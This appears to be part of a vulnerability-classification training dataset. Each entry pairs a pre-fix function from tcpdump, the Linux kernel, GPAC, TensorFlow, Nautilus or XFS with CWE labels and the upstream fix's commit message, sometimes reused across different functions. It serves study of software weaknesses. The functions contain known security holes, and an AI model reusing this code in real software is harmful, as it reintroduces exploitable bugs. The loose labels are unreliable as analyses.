atype, tptr, alen))\n                        return 0;\n                    tptr += alen;\n                    len -= alen;\n\t\t}\n                break;\n\n\tcase BGPTYPE_LARGE_COMMUNITY:\n\t\tif (len == 0 || len % 12) {\n\t\t\tND_PRINT((ndo, \"invalid len\"));\n\t\t\tbreak;\n\t\t}\n\t\tND_PRINT((ndo, \"\\n\\t    \"));\n\t\twhile (len > 0) {\n\t\t\tND_TCHECK2(*tptr, 12);\n\t\t\tND_PRINT((ndo, \"%u:%u:%u%s\",\n\t\t\t\t EXTRACT_32BITS(tptr),\n\t\t\t\t EXTRACT_32BITS(tptr + 4),\n\t\t\t\t EXTRACT_32BITS(tptr + 8),\n\t\t\t\t (len > 12) ? \", \" : \"\"));\n                        tptr += 12;\n                        len -= 12;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t    ND_TCHECK2(*pptr,len);\n            ND_PRINT((ndo, \"\\n\\t    no Attribute %u decoder\", atype)); /* we have no decoder for the attribute */\n            if (ndo->ndo_vflag <= 1)\n                print_unknown_data(ndo, pptr, \"\\n\\t    \", len);\n            break;\n\t}\n        if (ndo->ndo_vflag > 1 && len) { /* omit zero length attributes*/\n            ND_TCHECK2(*pptr,len);\n            print_unknown_data(ndo, pptr, \"\\n\\t    \", len);\n        }\n        return 1;\n\ntrunc:\n        return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-12994/BGP: Move a test inside a loop.\n\nThe loop can be executed more than once (that's kinda the whole point of\na loop), so the check has to be made each time through the loop, not\njust once before the loop is executed.\n\nDo some additional length checks while we're at it.\n\nThis fixes a buffer over-read discovered by Forcepoint's security\nresearchers Otto Airamo & Antti Levom\u00e4ki.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,\n\t\tunsigned long, data)\n{\n\tstruct task_struct *child;\n\tlong ret;\n\n\tif (request == PTRACE_TRACEME) {\n\t\tret = ptrace_traceme();\n\t\tif (!ret)\n\t\t\tarch_ptrace_attach(current);\n\t\tgoto out;\n\t}\n\n\tchild = ptrace_get_task_struct(pid);\n\tif (IS_ERR(child)) {\n\t\tret = PTR_ERR(child);\n\t\tgoto out;\n\t}\n\n\tif (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {\n\t\tret = ptrace_attach(child, request, addr, data);\n\t\t/*\n\t\t * Some architectures need to do book-keeping after\n\t\t * a ptrace attach.\n\t\t */\n\t\tif (!ret)\n\t\t\tarch_ptrace_attach(child);\n\t\tgoto out_put_task_struct;\n\t}\n\n\tret = ptrace_check_attach(child, request == PTRACE_KILL ||\n\t\t\t\t  request == PTRACE_INTERRUPT);\n\tif (ret < 0)\n\t\tgoto out_put_task_struct;\n\n\tret = arch_ptrace(child, request, addr, data);\n\n out_put_task_struct:\n\tput_task_struct(child);\n out:\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-362'], 'message': 'ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL\n\nputreg() assumes that the tracee is not running and pt_regs_access() can\nsafely play with its stack.  However a killed tracee can return from\nptrace_stop() to the low-level asm code and do RESTORE_REST, this means\nthat debugger can actually read/modify the kernel stack until the tracee\ndoes SAVE_REST again.\n\nset_task_blockstep() can race with SIGKILL too and in some sense this\nrace is even worse, the very fact the tracee can be woken up breaks the\nlogic.\n\nAs Linus suggested we can clear TASK_WAKEKILL around the arch_ptrace()\ncall, this ensures that nobody can ever wakeup the tracee while the\ndebugger looks at it.  Not only this fixes the mentioned problems, we\ncan do some cleanups/simplifications in arch_ptrace() paths.\n\nProbably ptrace_unfreeze_traced() needs more callers, for example it\nmakes sense to make the tracee killable for oom-killer before\naccess_process_vm().\n\nWhile at it, add the comment into may_ptrace_stop() to explain why\nptrace_stop() still can't rely on SIGKILL and signal_pending_state().\n\nReported-by: Salman Qazi \nReported-by: Suleiman Souhlal \nSuggested-by: Linus Torvalds \nSigned-off-by: Oleg Nesterov \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: mpls_print(netdissect_options *ndo, const u_char *bp, u_int length)\n{\n\tconst u_char *p;\n\tuint32_t label_entry;\n\tuint16_t label_stack_depth = 0;\n\tenum mpls_packet_type pt = PT_UNKNOWN;\n\n\tp = bp;\n\tND_PRINT((ndo, \"MPLS\"));\n\tdo {\n\t\tND_TCHECK2(*p, sizeof(label_entry));\n\t\tif (length < sizeof(label_entry)) {\n\t\t\tND_PRINT((ndo, \"[|MPLS], length %u\", length));\n\t\t\treturn;\n\t\t}\n\t\tlabel_entry = EXTRACT_32BITS(p);\n\t\tND_PRINT((ndo, \"%s(label %u\",\n\t\t       (label_stack_depth && ndo->ndo_vflag) ? \"\\n\\t\" : \" \",\n       \t\t       MPLS_LABEL(label_entry)));\n\t\tlabel_stack_depth++;\n\t\tif (ndo->ndo_vflag &&\n\t\t    MPLS_LABEL(label_entry) < sizeof(mpls_labelname) / sizeof(mpls_labelname[0]))\n\t\t\tND_PRINT((ndo, \" (%s)\", mpls_labelname[MPLS_LABEL(label_entry)]));\n\t\tND_PRINT((ndo, \", exp %u\", MPLS_EXP(label_entry)));\n\t\tif (MPLS_STACK(label_entry))\n\t\t\tND_PRINT((ndo, \", [S]\"));\n\t\tND_PRINT((ndo, \", ttl %u)\", MPLS_TTL(label_entry)));\n\n\t\tp += sizeof(label_entry);\n\t\tlength -= sizeof(label_entry);\n\t} while (!MPLS_STACK(label_entry));\n\n\t/*\n\t * Try to figure out the packet type.\n\t */\n\tswitch (MPLS_LABEL(label_entry)) {\n\n\tcase 0:\t/* IPv4 explicit NULL label */\n\tcase 3:\t/* IPv4 implicit NULL label */\n\t\tpt = PT_IPV4;\n\t\tbreak;\n\n\tcase 2:\t/* IPv6 explicit NULL label */\n\t\tpt = PT_IPV6;\n\t\tbreak;\n\n\tdefault:\n\t\t/*\n\t\t * Generally there's no indication of protocol in MPLS label\n\t\t * encoding.\n\t\t *\n\t\t * However, draft-hsmit-isis-aal5mux-00.txt describes a\n\t\t * technique for encapsulating IS-IS and IP traffic on the\n\t\t * same ATM virtual circuit; you look at the first payload\n\t\t * byte to determine the network layer protocol, based on\n\t\t * the fact that\n\t\t *\n\t\t *\t1) the first byte of an IP header is 0x45-0x4f\n\t\t *\t   for IPv4 and 0x60-0x6f for IPv6;\n\t\t *\n\t\t *\t2) the first byte of an OSI CLNP packet is 0x81,\n\t\t *\t   the first byte of an OSI ES-IS packet is 0x82,\n\t\t *\t   and the first byte of an OSI IS-IS packet is\n\t\t *\t   0x83;\n\t\t *\n\t\t * so the network layer protocol can be inferred from the\n\t\t * first byte of the packet, if the protocol is one of the\n\t\t * ones listed above.\n\t\t *\n\t\t * Cisco sends control-plane traffic MPLS-encapsulated in\n\t\t * this fashion.\n\t\t */\n\t\tND_TCHECK(*p);\n\t\tif (length < 1) {\n\t\t\t/* nothing to print */\n\t\t\treturn;\n\t\t}\n\t\tswitch(*p) {\n\n\t\tcase 0x45:\n\t\tcase 0x46:\n\t\tcase 0x47:\n\t\tcase 0x48:\n\t\tcase 0x49:\n\t\tcase 0x4a:\n\t\tcase 0x4b:\n\t\tcase 0x4c:\n\t\tcase 0x4d:\n\t\tcase 0x4e:\n\t\tcase 0x4f:\n\t\t\tpt = PT_IPV4;\n\t\t\tbreak;\n\n\t\tcase 0x60:\n\t\tcase 0x61:\n\t\tcase 0x62:\n\t\tcase 0x63:\n\t\tcase 0x64:\n\t\tcase 0x65:\n\t\tcase 0x66:\n\t\tcase 0x67:\n\t\tcase 0x68:\n\t\tcase 0x69:\n\t\tcase 0x6a:\n\t\tcase 0x6b:\n\t\tcase 0x6c:\n\t\tcase 0x6d:\n\t\tcase 0x6e:\n\t\tcase 0x6f:\n\t\t\tpt = PT_IPV6;\n\t\t\tbreak;\n\n\t\tcase 0x81:\n\t\tcase 0x82:\n\t\tcase 0x83:\n\t\t\tpt = PT_OSI;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t/* ok bail out - we did not figure out what it is*/\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/*\n\t * Print the payload.\n\t */\n\tif (pt == PT_UNKNOWN) {\n\t\tif (!ndo->ndo_suppress_default_print)\n\t\t\tND_DEFAULTPRINT(p, length);\n\t\treturn;\n\t}\n\tND_PRINT((ndo, ndo->ndo_vflag ? \"\\n\\t\" : \" \"));\n\tswitch (pt) {\n\n\tcase PT_IPV4:\n\t\tip_print(ndo, p, length);\n\t\tbreak;\n\n\tcase PT_IPV6:\n\t\tip6_print(ndo, p, length);\n\t\tbreak;\n\n\tcase PT_OSI:\n\t\tisoclns_print(ndo, p, length, length);\n\t\tbreak;\n\n\tdefault:\n\t\tbreak;\n\t}\n\treturn;\n\ntrunc:\n\tND_PRINT((ndo, \"[|MPLS]\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print().\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nDon't pass the remaining caplen - that's too hard to get right, and we\nwere getting it wrong in at least one case; just use ND_TTEST().\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: llc_print(netdissect_options *ndo, const u_char *p, u_int length, u_int caplen,\n\t  const struct lladdr_info *src, const struct lladdr_info *dst)\n{\n\tuint8_t dsap_field, dsap, ssap_field, ssap;\n\tuint16_t control;\n\tint hdrlen;\n\tint is_u;\n\n\tif (caplen < 3) {\n\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\treturn (caplen);\n\t}\n\tif (length < 3) {\n\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\treturn (length);\n\t}\n\n\tdsap_field = *p;\n\tssap_field = *(p + 1);\n\n\t/*\n\t * OK, what type of LLC frame is this?  The length\n\t * of the control field depends on that - I frames\n\t * have a two-byte control field, and U frames have\n\t * a one-byte control field.\n\t */\n\tcontrol = *(p + 2);\n\tif ((control & LLC_U_FMT) == LLC_U_FMT) {\n\t\t/*\n\t\t * U frame.\n\t\t */\n\t\tis_u = 1;\n\t\thdrlen = 3;\t/* DSAP, SSAP, 1-byte control field */\n\t} else {\n\t\t/*\n\t\t * The control field in I and S frames is\n\t\t * 2 bytes...\n\t\t */\n\t\tif (caplen < 4) {\n\t\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\t\treturn (caplen);\n\t\t}\n\t\tif (length < 4) {\n\t\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\t\treturn (length);\n\t\t}\n\n\t\t/*\n\t\t * ...and is little-endian.\n\t\t */\n\t\tcontrol = EXTRACT_LE_16BITS(p + 2);\n\t\tis_u = 0;\n\t\thdrlen = 4;\t/* DSAP, SSAP, 2-byte control field */\n\t}\n\n\tif (ssap_field == LLCSAP_GLOBAL && dsap_field == LLCSAP_GLOBAL) {\n\t\t/*\n\t\t * This is an Ethernet_802.3 IPX frame; it has an\n\t\t * 802.3 header (i.e., an Ethernet header where the\n\t\t * type/length field is <= ETHERMTU, i.e. it's a length\n\t\t * field, not a type field), but has no 802.2 header -\n\t\t * the IPX packet starts right after the Ethernet header,\n\t\t * with a signature of two bytes of 0xFF (which is\n\t\t * LLCSAP_GLOBAL).\n\t\t *\n\t\t * (It might also have been an Ethernet_802.3 IPX at\n\t\t * one time, but got bridged onto another network,\n\t\t * such as an 802.11 network; this has appeared in at\n\t\t * least one capture file.)\n\t\t */\n\n            if (ndo->ndo_eflag)\n\t\tND_PRINT((ndo, \"IPX 802.3: \"));\n\n            ipx_print(ndo, p, length);\n            return (0);\t\t/* no LLC header */\n\t}\n\n\tdsap = dsap_field & ~LLC_IG;\n\tssap = ssap_field & ~LLC_GSAP;\n\n\tif (ndo->ndo_eflag) {\n                ND_PRINT((ndo, \"LLC, dsap %s (0x%02x) %s, ssap %s (0x%02x) %s\",\n                       tok2str(llc_values, \"Unknown\", dsap),\n                       dsap,\n                       tok2str(llc_ig_flag_values, \"Unknown\", dsap_field & LLC_IG),\n                       tok2str(llc_values, \"Unknown\", ssap),\n                       ssap,\n                       tok2str(llc_flag_values, \"Unknown\", ssap_field & LLC_GSAP)));\n\n\t\tif (is_u) {\n\t\t\tND_PRINT((ndo, \", ctrl 0x%02x: \", control));\n\t\t} else {\n\t\t\tND_PRINT((ndo, \", ctrl 0x%04x: \", control));\n\t\t}\n\t}\n\n\t/*\n\t * Skip LLC header.\n\t */\n\tp += hdrlen;\n\tlength -= hdrlen;\n\tcaplen -= hdrlen;\n\n\tif (ssap == LLCSAP_SNAP && dsap == LLCSAP_SNAP\n\t    && control == LLC_UI) {\n\t\t/*\n\t\t * XXX - what *is* the right bridge pad value here?\n\t\t * Does anybody ever bridge one form of LAN traffic\n\t\t * over a networking type that uses 802.2 LLC?\n\t\t */\n\t\tif (!snap_print(ndo, p, length, caplen, src, dst, 2)) {\n\t\t\t/*\n\t\t\t * Unknown packet type; tell our caller, by\n\t\t\t * returning a negative value, so they\n\t\t\t * can print the raw packet.\n\t\t\t */\n\t\t\treturn (-(hdrlen + 5));\t/* include LLC and SNAP header */\n\t\t} else\n\t\t\treturn (hdrlen + 5);\t/* include LLC and SNAP header */\n\t}\n\n\tif (ssap == LLCSAP_8021D && dsap == LLCSAP_8021D &&\n\t    control == LLC_UI) {\n\t\tstp_print(ndo, p, length);\n\t\treturn (hdrlen);\n\t}\n\n\tif (ssap == LLCSAP_IP && dsap == LLCSAP_IP &&\n\t    control == LLC_UI) {\n\t\t/*\n\t\t * This is an RFC 948-style IP packet, with\n\t\t * an 802.3 header and an 802.2 LLC header\n\t\t * with the source and destination SAPs being\n\t\t * the IP SAP.\n\t\t */\n\t\tip_print(ndo, p, length);\n\t\treturn (hdrlen);\n\t}\n\n\tif (ssap == LLCSAP_IPX && dsap == LLCSAP_IPX &&\n\t    control == LLC_UI) {\n\t\t/*\n\t\t * This is an Ethernet_802.2 IPX frame, with an 802.3\n\t\t * header and an 802.2 LLC header with the source and\n\t\t * destination SAPs being the IPX SAP.\n\t\t */\n                if (ndo->ndo_eflag)\n                        ND_PRINT((ndo, \"IPX 802.2: \"));\n\n\t\tipx_print(ndo, p, length);\n\t\treturn (hdrlen);\n\t}\n\n#ifdef ENABLE_SMB\n\tif (ssap == LLCSAP_NETBEUI && dsap == LLCSAP_NETBEUI\n\t    && (!(control & LLC_S_FMT) || control == LLC_U_FMT)) {\n\t\t/*\n\t\t * we don't actually have a full netbeui parser yet, but the\n\t\t * smb parser can handle many smb-in-netbeui packets, which\n\t\t * is very useful, so we call that\n\t\t *\n\t\t * We don't call it for S frames, however, just I frames\n\t\t * (which are frames that don't have the low-order bit,\n\t\t * LLC_S_FMT, set in the first byte of the control field)\n\t\t * and UI frames (whose control field is just 3, LLC_U_FMT).\n\t\t */\n\t\tnetbeui_print(ndo, control, p, length);\n\t\treturn (hdrlen);\n\t}\n#endif\n\tif (ssap == LLCSAP_ISONS && dsap == LLCSAP_ISONS\n\t    && control == LLC_UI) {\n\t\tisoclns_print(ndo, p, length, caplen);\n\t\treturn (hdrlen);\n\t}\n\n\tif (!ndo->ndo_eflag) {\n\t\tif (ssap == dsap) {\n\t\t\tif (src == NULL || dst == NULL)\n\t\t\t\tND_PRINT((ndo, \"%s \", tok2str(llc_values, \"Unknown DSAP 0x%02x\", dsap)));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo, \"%s > %s %s \",\n\t\t\t\t\t\t(src->addr_string)(ndo, src->addr),\n\t\t\t\t\t\t(dst->addr_string)(ndo, dst->addr),\n\t\t\t\t\t\ttok2str(llc_values, \"Unknown DSAP 0x%02x\", dsap)));\n\t\t} else {\n\t\t\tif (src == NULL || dst == NULL)\n\t\t\t\tND_PRINT((ndo, \"%s > %s \",\n                                        tok2str(llc_values, \"Unknown SSAP 0x%02x\", ssap),\n\t\t\t\t\ttok2str(llc_values, \"Unknown DSAP 0x%02x\", dsap)));\n\t\t\telse\n\t\t\t\tND_PRINT((ndo, \"%s %s > %s %s \",\n\t\t\t\t\t(src->addr_string)(ndo, src->addr),\n                                        tok2str(llc_values, \"Unknown SSAP 0x%02x\", ssap),\n\t\t\t\t\t(dst->addr_string)(ndo, dst->addr),\n\t\t\t\t\ttok2str(llc_values, \"Unknown DSAP 0x%02x\", dsap)));\n\t\t}\n\t}\n\n\tif (is_u) {\n\t\tND_PRINT((ndo, \"Unnumbered, %s, Flags [%s], length %u\",\n                       tok2str(llc_cmd_values, \"%02x\", LLC_U_CMD(control)),\n                       tok2str(llc_flag_values,\"?\",(ssap_field & LLC_GSAP) | (control & LLC_U_POLL)),\n                       length + hdrlen));\n\n\t\tif ((control & ~LLC_U_POLL) == LLC_XID) {\n\t\t\tif (length == 0) {\n\t\t\t\t/*\n\t\t\t\t * XID with no payload.\n\t\t\t\t * This could, for example, be an SNA\n\t\t\t\t * \"short form\" XID.\n                                 */\n\t\t\t\treturn (hdrlen);\n\t\t\t}\n\t\t\tif (caplen < 1) {\n\t\t\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\t\t\tif (caplen > 0)\n\t\t\t\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\t\t\treturn (hdrlen);\n\t\t\t}\n\t\t\tif (*p == LLC_XID_FI) {\n\t\t\t\tif (caplen < 3 || length < 3) {\n\t\t\t\t\tND_PRINT((ndo, \"[|llc]\"));\n\t\t\t\t\tif (caplen > 0)\n\t\t\t\t\t\tND_DEFAULTPRINT((const u_char *)p, caplen);\n\t\t\t\t} else\n\t\t\t\t\tND_PRINT((ndo, \": %02x %02x\", p[1], p[2]));\n\t\t\t\treturn (hdrlen);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif ((control & LLC_S_FMT) == LLC_S_FMT) {\n\t\t\tND_PRINT((ndo, \"Supervisory, %s, rcv seq %u, Flags [%s], length %u\",\n\t\t\t\ttok2str(llc_supervisory_values,\"?\",LLC_S_CMD(control)),\n\t\t\t\tLLC_IS_NR(control),\n\t\t\t\ttok2str(llc_flag_values,\"?\",(ssap_field & LLC_GSAP) | (control & LLC_IS_POLL)),\n                                length + hdrlen));\n\t\t\treturn (hdrlen);\t/* no payload to print */\n\t\t} else {\n\t\t\tND_PRINT((ndo, \"Information, send seq %u, rcv seq %u, Flags [%s], length %u\",\n\t\t\t\tLLC_I_NS(control),\n\t\t\t\tLLC_IS_NR(control),\n\t\t\t\ttok2str(llc_flag_values,\"?\",(ssap_field & LLC_GSAP) | (control & LLC_IS_POLL)),\n                                length + hdrlen));\n\t\t}\n\t}\n\treturn (-hdrlen);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print().\n\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nDon't pass the remaining caplen - that's too hard to get right, and we\nwere getting it wrong in at least one case; just use ND_TTEST().\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void SFS_CompoundExpression(ScriptParser *parser)\n{\n\tif (parser->codec->LastError) return;\n\tSFS_Expression(parser);\n\tif (! gf_bs_read_int(parser->bs, 1)) return;\n\tSFS_AddString(parser, \",\");\n\tSFS_CompoundExpression(parser);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #2238'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* ctx) override {\n    Buffer* buf = nullptr;\n    OP_REQUIRES_OK(ctx, GetBuffer(ctx, def(), &buf));\n    core::ScopedUnref scope(buf);\n    Buffer::Tuple tuple;\n\n    std::size_t index = ctx->input(0).scalar()();\n\n    OP_REQUIRES_OK(ctx, buf->Peek(index, &tuple));\n\n    OP_REQUIRES(\n        ctx, tuple.size() == (size_t)ctx->num_outputs(),\n        errors::InvalidArgument(\"Mismatch stage/unstage: \", tuple.size(),\n                                \" vs. \", ctx->num_outputs()));\n\n    for (size_t i = 0; i < tuple.size(); ++i) {\n      ctx->set_output(i, tuple[i]);\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-703'], 'message': 'Fix tf.raw_ops.StagePeek vulnerability with invalid `index`.\n\nCheck that input is actually a scalar before treating it as such.\n\nPiperOrigin-RevId: 445524908'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int inode_change_ok(const struct inode *inode, struct iattr *attr)\n{\n\tunsigned int ia_valid = attr->ia_valid;\n\n\t/*\n\t * First check size constraints.  These can't be overriden using\n\t * ATTR_FORCE.\n\t */\n\tif (ia_valid & ATTR_SIZE) {\n\t\tint error = inode_newsize_ok(inode, attr->ia_size);\n\t\tif (error)\n\t\t\treturn error;\n\t}\n\n\t/* If force is set do it anyway. */\n\tif (ia_valid & ATTR_FORCE)\n\t\treturn 0;\n\n\t/* Make sure a caller can chown. */\n\tif ((ia_valid & ATTR_UID) &&\n\t    (!uid_eq(current_fsuid(), inode->i_uid) ||\n\t     !uid_eq(attr->ia_uid, inode->i_uid)) &&\n\t    !inode_capable(inode, CAP_CHOWN))\n\t\treturn -EPERM;\n\n\t/* Make sure caller can chgrp. */\n\tif ((ia_valid & ATTR_GID) &&\n\t    (!uid_eq(current_fsuid(), inode->i_uid) ||\n\t    (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) &&\n\t    !inode_capable(inode, CAP_CHOWN))\n\t\treturn -EPERM;\n\n\t/* Make sure a caller can chmod. */\n\tif (ia_valid & ATTR_MODE) {\n\t\tif (!inode_owner_or_capable(inode))\n\t\t\treturn -EPERM;\n\t\t/* Also check the setgid bit! */\n\t\tif (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid :\n\t\t\t\tinode->i_gid) &&\n\t\t    !inode_capable(inode, CAP_FSETID))\n\t\t\tattr->ia_mode &= ~S_ISGID;\n\t}\n\n\t/* Check for setting the inode time. */\n\tif (ia_valid & (ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET)) {\n\t\tif (!inode_owner_or_capable(inode))\n\t\t\treturn -EPERM;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'fs,userns: Change inode_capable to capable_wrt_inode_uidgid\n\nThe kernel has no concept of capabilities with respect to inodes; inodes\nexist independently of namespaces.  For example, inode_capable(inode,\nCAP_LINUX_IMMUTABLE) would be nonsense.\n\nThis patch changes inode_capable to check for uid and gid mappings and\nrenames it to capable_wrt_inode_uidgid, which should make it more\nobvious what it does.\n\nFixes CVE-2014-4014.\n\nCc: Theodore Ts'o \nCc: Serge Hallyn \nCc: \"Eric W. Biederman\" \nCc: Dave Chinner \nCc: stable@vger.kernel.org\nSigned-off-by: Andy Lutomirski \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: is_link_trusted (NautilusFile *file,\n                 gboolean      is_launcher)\n{\n    GFile *location;\n    gboolean res;\n\n    if (!is_launcher)\n    {\n        return TRUE;\n    }\n\n    if (nautilus_file_can_execute (file))\n    {\n        return TRUE;\n    }\n\n    res = FALSE;\n\n    if (nautilus_file_is_local (file))\n    {\n        location = nautilus_file_get_location (file);\n        res = nautilus_is_in_system_dir (location);\n        g_object_unref (location);\n    }\n\n    return res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'mime-actions: use file metadata for trusting desktop files\n\nCurrently we only trust desktop files that have the executable bit\nset, and don't replace the displayed icon or the displayed name until\nit's trusted, which prevents for running random programs by a malicious\ndesktop file.\n\nHowever, the executable permission is preserved if the desktop file\ncomes from a compressed file.\n\nTo prevent this, add a metadata::trusted metadata to the file once the\nuser acknowledges the file as trusted. This adds metadata to the file,\nwhich cannot be added unless it has access to the computer.\n\nAlso remove the SHEBANG \"trusted\" content we were putting inside the\ndesktop file, since that doesn't add more security since it can come\nwith the file itself.\n\nhttps://bugzilla.gnome.org/show_bug.cgi?id=777991'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: xfs_attr_shortform_list(xfs_attr_list_context_t *context)\n{\n\tattrlist_cursor_kern_t *cursor;\n\txfs_attr_sf_sort_t *sbuf, *sbp;\n\txfs_attr_shortform_t *sf;\n\txfs_attr_sf_entry_t *sfe;\n\txfs_inode_t *dp;\n\tint sbsize, nsbuf, count, i;\n\tint error;\n\n\tASSERT(context != NULL);\n\tdp = context->dp;\n\tASSERT(dp != NULL);\n\tASSERT(dp->i_afp != NULL);\n\tsf = (xfs_attr_shortform_t *)dp->i_afp->if_u1.if_data;\n\tASSERT(sf != NULL);\n\tif (!sf->hdr.count)\n\t\treturn 0;\n\tcursor = context->cursor;\n\tASSERT(cursor != NULL);\n\n\ttrace_xfs_attr_list_sf(context);\n\n\t/*\n\t * If the buffer is large enough and the cursor is at the start,\n\t * do not bother with sorting since we will return everything in\n\t * one buffer and another call using the cursor won't need to be\n\t * made.\n\t * Note the generous fudge factor of 16 overhead bytes per entry.\n\t * If bufsize is zero then put_listent must be a search function\n\t * and can just scan through what we have.\n\t */\n\tif (context->bufsize == 0 ||\n\t    (XFS_ISRESET_CURSOR(cursor) &&\n             (dp->i_afp->if_bytes + sf->hdr.count * 16) < context->bufsize)) {\n\t\tfor (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) {\n\t\t\terror = context->put_listent(context,\n\t\t\t\t\t   sfe->flags,\n\t\t\t\t\t   sfe->nameval,\n\t\t\t\t\t   (int)sfe->namelen,\n\t\t\t\t\t   (int)sfe->valuelen,\n\t\t\t\t\t   &sfe->nameval[sfe->namelen]);\n\n\t\t\t/*\n\t\t\t * Either search callback finished early or\n\t\t\t * didn't fit it all in the buffer after all.\n\t\t\t */\n\t\t\tif (context->seen_enough)\n\t\t\t\tbreak;\n\n\t\t\tif (error)\n\t\t\t\treturn error;\n\t\t\tsfe = XFS_ATTR_SF_NEXTENTRY(sfe);\n\t\t}\n\t\ttrace_xfs_attr_list_sf_all(context);\n\t\treturn 0;\n\t}\n\n\t/* do no more for a search callback */\n\tif (context->bufsize == 0)\n\t\treturn 0;\n\n\t/*\n\t * It didn't all fit, so we have to sort everything on hashval.\n\t */\n\tsbsize = sf->hdr.count * sizeof(*sbuf);\n\tsbp = sbuf = kmem_alloc(sbsize, KM_SLEEP | KM_NOFS);\n\n\t/*\n\t * Scan the attribute list for the rest of the entries, storing\n\t * the relevant info from only those that match into a buffer.\n\t */\n\tnsbuf = 0;\n\tfor (i = 0, sfe = &sf->list[0]; i < sf->hdr.count; i++) {\n\t\tif (unlikely(\n\t\t    ((char *)sfe < (char *)sf) ||\n\t\t    ((char *)sfe >= ((char *)sf + dp->i_afp->if_bytes)))) {\n\t\t\tXFS_CORRUPTION_ERROR(\"xfs_attr_shortform_list\",\n\t\t\t\t\t     XFS_ERRLEVEL_LOW,\n\t\t\t\t\t     context->dp->i_mount, sfe);\n\t\t\tkmem_free(sbuf);\n\t\t\treturn -EFSCORRUPTED;\n\t\t}\n\n\t\tsbp->entno = i;\n\t\tsbp->hash = xfs_da_hashname(sfe->nameval, sfe->namelen);\n\t\tsbp->name = sfe->nameval;\n\t\tsbp->namelen = sfe->namelen;\n\t\t/* These are bytes, and both on-disk, don't endian-flip */\n\t\tsbp->valuelen = sfe->valuelen;\n\t\tsbp->flags = sfe->flags;\n\t\tsfe = XFS_ATTR_SF_NEXTENTRY(sfe);\n\t\tsbp++;\n\t\tnsbuf++;\n\t}\n\n\t/*\n\t * Sort the entries on hash then entno.\n\t */\n\txfs_sort(sbuf, nsbuf, sizeof(*sbuf), 